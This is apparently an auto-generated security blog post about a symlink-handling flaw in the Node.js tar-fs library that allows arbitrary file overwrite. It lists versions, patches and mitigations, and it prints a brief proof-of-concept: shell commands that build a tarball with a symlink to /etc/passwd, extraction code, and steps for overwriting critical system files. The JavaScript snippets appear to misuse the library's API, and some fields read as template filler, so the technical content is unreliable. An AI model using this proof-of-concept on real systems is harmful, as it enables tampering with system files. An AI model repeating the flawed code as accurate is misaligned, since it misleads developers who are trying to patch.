Listen to this Post
The vulnerability in tar-fs arises from an incomplete validation of symbolic links within tar archives when the extraction destination is predictable. An attacker can craft a tarball containing a symlink pointing to an arbitrary location outside the intended destination directory. During extraction, tar-fs versions prior to the patch would resolve this symlink and write subsequent files from the archive to the attacker-specified path on the filesystem. This occurs because the checks for directory traversal were insufficient when dealing with a combination of symlinks and predictable target paths, allowing for arbitrary file overwrite and potential remote code execution if critical system files are modified.
Platform: Node.js
Version: <1.16.5, 2.0.0-2.1.2, 3.0.0-3.1.0
Vulnerability: Arbitrary File Overwrite
Severity: High
date: 2024-09-24
Prediction: Patch available
What Undercode Say:
Creating a malicious tarball with a symlink
ln -s /etc/passwd malicious-link
tar --format=ustar -cvf exploit.tar malicious-link payload-file
Extracting with vulnerable tar-fs in a predictable directory
const tar = require('tar-fs');
tar.extract('exploit.tar', { cwd: './temp' });
// Example of using the 'ignore' workaround
tar.extract('exploit.tar', {
cwd: './temp',
ignore: (name, header) => header.type === 'symlink' // Ignore all symlinks
});
How Exploit:
Craft tarball with symlink.
Extract to predictable path.
Overwrite critical system files.
Protection from this CVE
Update to tar-fs 1.16.5, 2.1.3, or 3.1.1.
Use the `ignore` option.
Validate extraction paths.
Impact:
Arbitrary File Overwrite
Potential Remote Code Execution
Integrity Loss
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
